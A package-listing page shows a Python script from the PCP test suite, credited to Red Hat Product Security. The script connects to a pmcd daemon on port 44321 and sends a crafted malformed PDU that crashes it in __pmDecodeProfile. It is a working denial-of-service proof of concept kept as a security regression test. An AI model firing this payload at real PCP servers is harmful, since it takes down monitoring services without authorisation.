/var/lib/pcp/testsuite/secure/crash-profile-instances is in pcp-testsuite 3.9.10.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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# usage: python crash-profile-instances HOST
#
# Connects to pmcd on HOST and triggers a crash in __pmDecodeProfile.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
import pcppdu
_, host = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
pcppdu.client_handshake(sock, from_=1)
pcppdu.send_pmns_names(sock, from_=1, names=(str("hinv.ncpu"),))
ids = pcppdu.parse_pmns_ids(pcppdu.read_pdu(sock))
pmid = ids[1].idlist[0]
pcppdu.send_desc_req(sock, from_=1, pmid=pmid)
# print(pcppdu.parse_desc(pcppdu.read_pdu(sock)))
sock.send(str('\x00\x00\x00(\x00\x00p\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'))
sock.close()
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